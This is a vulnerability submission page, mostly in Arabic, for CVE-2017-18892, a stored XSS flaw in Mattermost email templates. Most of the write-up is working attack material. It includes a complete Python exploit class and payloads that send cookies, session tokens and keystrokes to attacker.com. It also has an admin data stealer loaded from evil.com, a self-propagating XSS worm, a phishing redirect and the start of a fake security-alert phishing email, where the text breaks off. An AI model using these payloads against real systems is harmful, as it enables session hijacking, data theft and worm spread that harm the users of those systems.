Submit #797475: #XSS | #EmailSecurity Mattermost TemplateInjection < 4.2.0 سيطرة كاملة على بياناتinfo

Title#XSS | #EmailSecurity Mattermost TemplateInjection < 4.2.0 سيطرة كاملة على بيانات
Description# ⚔️ CVE-2017-18892: عندما تخون القوالب الأمان ## ???? XSS في قوالب البريد الإلكتروني - Mattermost تحت النار --- ## ???? البطاقة التعريفية | المعرف | القيمة | |--------|---------| | **CVE ID** | CVE-2017-18892 | | **Product** | Mattermost Server | | **CWE** | CWE-79: Cross-site Scripting (XSS) | | **CVSS Score** | **6.1 Medium** | | **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | | **الكشف الأولي** | 2017 | | **النشر العام** | 19 يونيو 2020 | | **آخر تحديث** | 29 يناير 2023 | | **التصنيف** | Stored XSS via Email Templates | --- ## ???? جوهر الثغرة ### ???? السيناريو الهجومي ``` Mattermost Email Template ↓ User Input (غير معقم) ↓ HTML Email Generation ↓ {{.UserName}} ← حقن مباشر! ↓ <script>alert('XSS')</script> ↓ ???? تنفيذ الكود في Email Client ``` --- ## ???? التحليل التقني العميق ### ???? الكود الضعيف **القالب الضعيف (Go Template):** ```go // mattermost-server < 4.2.0 // email_template.html <html> <body> <h1>مرحباً {{.UserName}}</h1> ← بدون تعقيم! <p>تم إرسال رسالة من {{.SenderName}}</p> ← خطر! <div>{{.MessageContent}}</div> ← يمكن حقن HTML! </body> </html> ``` **المشكلة:** ```go // الكود الضعيف - بدون Escaping template.Execute(writer, data) // data.UserName = "<script>alert('XSS')</script>" // النتيجة: يُنفذ السكريبت في البريد! ``` --- ### ???? سيناريو الاستغلال #### **المرحلة 1: إنشاء حساب خبيث** ```javascript // المهاجم ينشئ حساب باسم خبيث POST /api/v4/users { "username": "<img src=x onerror=alert(document.cookie)>", "email": "[email protected]", "password": "pass123" } ``` #### **المرحلة 2: إرسال رسالة** ```javascript // إرسال رسالة لضحية POST /api/v4/posts { "channel_id": "victim_channel", "message": "Check this out!", "root_id": null } ``` #### **المرحلة 3: البريد الإلكتروني المرسل** ```html <!-- البريد الذي يستلمه الضحية --> <html> <body> <h1>مرحباً Victim</h1> <p>تم إرسال رسالة من <img src=x onerror=alert(document.cookie)> ← تنفيذ فوري! </p> <div>Check this out!</div> </body> </html> ``` #### **المرحلة 4: التنفيذ** ```javascript // عند فتح البريد: onerror=alert(document.cookie) ← يُنفذ! // يمكن للمهاجم: fetch('https://attacker.com/steal?cookie=' + document.cookie); ``` --- ## ???? دليل إثبات المفهوم (PoC) ### ???? PoC كامل ```python #!/usr/bin/env python3 """ CVE-2017-18892 - Mattermost XSS via Email Template Exploit for educational purposes only """ import requests import json class MattermostXSS: def __init__(self, target_url): self.target = target_url self.session = requests.Session() self.token = None def create_malicious_user(self): """إنشاء مستخدم باسم يحتوي على XSS""" # الـ Payload xss_payload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' # إنشاء المستخدم user_data = { "username": xss_payload, "email": "[email protected]", "password": "MaliciousPass123!", "first_name": xss_payload, "last_name": "Evil" } response = self.session.post( f"{self.target}/api/v4/users", json=user_data ) if response.status_code == 201: print("[+] مستخدم خبيث تم إنشاؤه") return response.json() else: print(f"[-] فشل: {response.text}") return None def login(self, email, password): """تسجيل الدخول""" login_data = { "login_id": email, "password": password } response = self.session.post( f"{self.target}/api/v4/users/login", json=login_data ) if response.status_code == 200: self.token = response.headers.get('Token') self.session.headers.update({'Authorization': f'Bearer {self.token}'}) print("[+] تم تسجيل الدخول") return True return False def send_message(self, channel_id, message): """إرسال رسالة (تُرسل إشعار بريد إلكتروني)""" post_data = { "channel_id": channel_id, "message": message } response = self.session.post( f"{self.target}/api/v4/posts", json=post_data ) if response.status_code == 201: print("[+] تم إرسال الرسالة - سيُرسل بريد XSS للأعضاء!") return True return False def exploit(self, target_channel): """تنفيذ الاستغلال الكامل""" print("[*] بدء استغلال CVE-2017-18892") print(f"[*] الهدف: {self.target}") # 1. إنشاء مستخدم خبيث user = self.create_malicious_user() if not user: return False # 2. تسجيل الدخول if not self.login("[email protected]", "MaliciousPass123!"): return False # 3. إرسال رسالة (تُرسل بريد) if self.send_message(target_channel, "مرحباً! تحقق من هذا"): print("[+] نجح الاستغلال!") print("[*] عند فتح البريد، سيُنفذ الكود الخبيث") return True return False # الاستخدام if __name__ == "__main__": exploit = MattermostXSS("https://mattermost.target.com") exploit.exploit("channel_id_here") ``` --- ### ???? Payloads متقدمة ```javascript // 1. سرقة Cookies <img src=x onerror="new Image().src='https://attacker.com/log?c='+document.cookie"> // 2. سرقة Session Tokens <script> fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage }) }); </script> // 3. Keylogger في Email Client <img src=x onerror=" document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); "> // 4. Phishing Redirect <img src=x onerror=" setTimeout(function() { window.location='https://fake-mattermost-login.com'; }, 3000); "> // 5. استخراج البيانات الحساسة <img src=x onerror=" fetch('/api/v4/users/me').then(r=>r.json()).then(d=> fetch('https://attacker.com/user', { method: 'POST', body: JSON.stringify(d) }) ); "> ``` --- ## ???? سيناريوهات الاستغلال الواقعية ### ???? السيناريو 1: سرقة بيانات المديرين ```javascript // 1. المهاجم ينشئ حساب باسم: username: "<script src='https://evil.com/admin-stealer.js'></script>" // 2. admin-stealer.js: (async function() { // سرقة معلومات Admin const adminData = await fetch('/api/v4/users/me').then(r => r.json()); // سرقة القنوات const channels = await fetch('/api/v4/channels').then(r => r.json()); // سرقة الفرق const teams = await fetch('/api/v4/teams').then(r => r.json()); // إرسال كل شيء fetch('https://attacker.com/admin-data', { method: 'POST', body: JSON.stringify({ adminData, channels, teams }) }); })(); // النتيجة: سيطرة كاملة على بيانات Admin ``` --- ### ???? السيناريو 2: Worm عبر البريد ```javascript // XSS Worm - ينتشر تلقائياً <img src=x onerror=" // 1. يسرق التوكن الحالي const token = localStorage.getItem('token'); // 2. يجلب قائمة المستخدمين fetch('/api/v4/users', { headers: { 'Authorization': 'Bearer ' + token } }) .then(r => r.json()) .then(users => { // 3. يرسل رسالة لكل مستخدم users.forEach(user => { fetch('/api/v4/posts/create_direct', { method: 'POST', headers: { 'Authorization': 'Bearer ' + token }, body: JSON.stringify({ user_id: user.id, message: 'Check this: <img src=x onerror=...>' // نفس الكود }) }); }); }); "> ``` --- ### ???? السيناريو 3: التصيد المستهدف (Spear Phishing) ```html <!-- بريد يبدو شرعياً تماماً --> <html> <head> <style> /* تصميم مشابه لـ Mattermost */ body { font-family: Arial; background: #f5f5f5; } .container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; } .btn { background: #0073e6; color: white; padding: 10px 20px; text-decoration: none; } </style> </head> <body> <div class="container"> <h2>???? تنبيه أمني من Mattermost</h2> <p>تم اكتشاف محاولة تسجيل دخول مشبوهة لحسابك</p> <p>انقر أدناه للتحقق من هويتك:</p> <a href="#" class="btn" onclick="stealCredentials()">التحقق ال
User
 nike49424 (UID 97107)
Submission04/05/2026 22:27 (4 days ago)
Moderation04/06/2026 23:27 (1 day later)
StatusAccepted
VulDB entry355672 [Mattermost Server up to 4.0.4/4.1.0 Email Template neutralization]
Points17

Do you need the next level of professionalism?

Upgrade your account now!